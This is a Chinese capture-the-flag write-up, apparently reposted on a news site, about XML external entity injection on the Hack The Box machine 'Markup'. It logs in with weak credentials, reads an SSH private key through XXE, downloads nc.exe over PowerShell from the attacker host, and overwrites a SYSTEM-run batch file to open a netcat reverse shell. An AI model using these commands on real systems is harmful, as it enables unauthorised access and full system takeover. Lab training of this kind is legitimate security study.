最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

全球实时:Hack The Box系列——【Markup】XML外部实体注入(XXE)

来源:博客园

一、XML概述

  1. 可扩展标记语言(英語:ExtensibleMarkupLanguage,简称:XML)是一种标记语言。XML是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。其基本格式如下
      <信息>    <收件人>a    <发件人>b    <主题>问候    <內容>你好   
  2. 上面的代码中的第一行就是XML声明,。这一行代码会告诉解析器或浏览器,这个文件应该按照XML规则进行解析。
  3. XML文档如果以XML declaration开始,则表述了文档的一些信息。如
  4. XML标记:一个tag属于标记结构,以<开头,以>结尾。Tag名字是大小写敏感,不能包括任何字符!"#$%&"()*+,/;<=>?@[\]^`{|}~, 也不能有空格符, 不能以"-"或"."或数字开始
  5. XML元素:元素是文档逻辑组成,如

二、XML外部实体注入概述

  1. XML外部实体注入是一种针对解析XML格式应用程序的攻击类型之一。此类攻击发生在配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描(解析器所在域)和其他系统影响。
  2. XML 1.0标准定义了XML文档结构,同时定义了实体的概念,即某种类型的存储单元。外部一般解析实体或外部参数解析实体通常简称为外部实体,攻击者可声明特定系统标识符(英语:System identifier)来访问服务器本地或远程内容。XML处理器假设系统标识符为可访问的统一资源标志符(URI),然后将同名的外部实体以系统标识符所指定的资源内容解除引用。若系统标识符被修改,则XML处理器可能会泄露应用程序通常无法访问的秘密信息。类似的攻击矢量可能会利用外部文档类型定义(DTD)、外部样式表和外部Schema等等,这些同样会导致类似的外部资源包含攻击。

  3. 此类攻击利用系统标识符中的文件、Schema及相对路径来泄露本地文件(如用户数据等)。由于攻击过程发生在处理XML文档的应用程序中,攻击者可滥用此受信的应用程序对其他内部系统进行攻击,也可能通过http(s)请求泄露其他内部内容,亦可能对其他未受保护的内部服务进行跨站请求伪造攻击。在部分情形下,攻击者可通过解引用恶意URI的方式对存在内存损坏(英语:Memory corruption)问题的XML处理库进行攻击,导致任意代码执行(以应用程序所使用的账户)。其他攻击针对持续返回数据的本地资源进行,可能会导致应用程序使用过多未释放的线程或行程。


    【资料图】

三、XML外部实体注入利用

  1. 文件读取
         ]>&xxe;
  2. 代码执行。当PHP载入“expect”模块时,攻击者可使用修改过的载荷来执行远程代码
          ]>             &xxe;        mypass     

四、Hack The Box案例——Markup

(一)信息收集

  1. 端口扫描,开放了22、80、443端口,80、443端口开放有web服务,中间件为Apache 2.4.41,编程语言为PHP 7.2.28,OpenSSL 1.1.1c,服务器系统为Windows

  2. 打开网站,直接就是一个登录页面

  3. 尝试一下常见的弱口令,使用admin:password登录成功

  4. 在Order栏中,发现一个表单

  5. 看一看网页源代码,在注释中发现有用信息,像是一个用户名

  6. BurpSuite抓包,熟悉的xml,有漏洞的话可能存在xxe注入,即xml外部实体注入

(二)getshell

  1. 修改数据包body为以下格式,重放数据包

    ]>2&test;
    17th Estate,CA
  2. 服务器正常回显,爆出了几个字段,验证确实存在xxe注入,利用xxe尝试读取该用户的ssh密钥,成功读取到密钥文件

    ]>2&test;
    17th Estate,CA
  3. 将id_rsa保存到kali,然后通过该rsa对服务器进行ssh连接,成功获取shell

  4. 在Desktop找到user.txt

(三)权限提升

  1. 查看当前用户权限

    whoami /priv
  2. cd到C盘根目录下,查看有什么文件夹,发现有一个Log-Management文件夹,该文件夹中有一个job.bat批处理脚本

  3. type查看job.bat文件内容,该脚本以管理员权限调用了一个叫做wevtutil.exe的程序,看起来像是清除日志的,我们可以尝试利用这个进行提权

  4. 用icacls命令查看该批处理文件的权限,该脚本拥有system和Administrator权限

  5. 要通过该脚本获取反向shell,只需要通过netcat在批量处理中创建有效负载文件即可,在kali上下载windows的netcat二进制文件,然后开启一个简单的web服务,在目标主机上通过powershell命令将nc.exe下载到传到目标主机上

    Powershell -c "IWR -useBasicParsing http://10.10.16.9:8000/nc.exe -o nc.exe"
  6. 然后在目标主机上通过netcat利用job.bat创建反向shell到kali上,kali开启nc监听

    echo C:\Log-Management\nc.exe -e cmd.exe 10.10.16.9 4444 > C:\Log-Management\job.batsudo nc lvnp 4444
  7. 成功获取到管理员权限,在管理员桌面找到root.txt

TRANSLATE with xEnglish
ArabicHebrewPolish
BulgarianHindiPortuguese
CatalanHmong DawRomanian
Chinese SimplifiedHungarianRussian
Chinese TraditionalIndonesianSlovak
CzechItalianSlovenian
DanishJapaneseSpanish
DutchKlingonSwedish
EnglishKoreanThai
EstonianLatvianTurkish
FinnishLithuanianUkrainian
FrenchMalayUrdu
GermanMalteseVietnamese
GreekNorwegianWelsh
Haitian CreolePersian
TRANSLATE with COPY THE URL BELOW BackEMBED THE SNIPPET BELOW IN YOUR SITE Enable collaborative features and customize widget: Bing Webmaster PortalBack此页面的语言为中文(简体)翻译为
  • 中文(简体)
  • 中文(繁体)
  • 丹麦语
  • 乌克兰语
  • 乌尔都语
  • 亚美尼亚语
  • 俄语
  • 保加利亚语
  • 克罗地亚语
  • 冰岛语
  • 加泰罗尼亚语
  • 匈牙利语
  • 卡纳达语
  • 印地语
  • 印尼语
  • 古吉拉特语
  • 哈萨克语
  • 土耳其语
  • 威尔士语
  • 孟加拉语
  • 尼泊尔语
  • 布尔语(南非荷兰语)
  • 希伯来语
  • 希腊语
  • 库尔德语
  • 德语
  • 意大利语
  • 拉脱维亚语
  • 挪威语
  • 捷克语
  • 斯洛伐克语
  • 斯洛文尼亚语
  • 旁遮普语
  • 日语
  • 普什图语
  • 毛利语
  • 法语
  • 波兰语
  • 波斯语
  • 泰卢固语
  • 泰米尔语
  • 泰语
  • 海地克里奥尔语
  • 爱沙尼亚语
  • 瑞典语
  • 立陶宛语
  • 缅甸语
  • 罗马尼亚语
  • 老挝语
  • 芬兰语
  • 英语
  • 荷兰语
  • 萨摩亚语
  • 葡萄牙语
  • 西班牙语
  • 越南语
  • 阿塞拜疆语
  • 阿姆哈拉语
  • 阿尔巴尼亚语
  • 阿拉伯语
  • 韩语
  • 马尔加什语
  • 马拉地语
  • 马拉雅拉姆语
  • 马来语
  • 马耳他语
  • 高棉语

关键词: 应用程序 端口扫描 扩展标记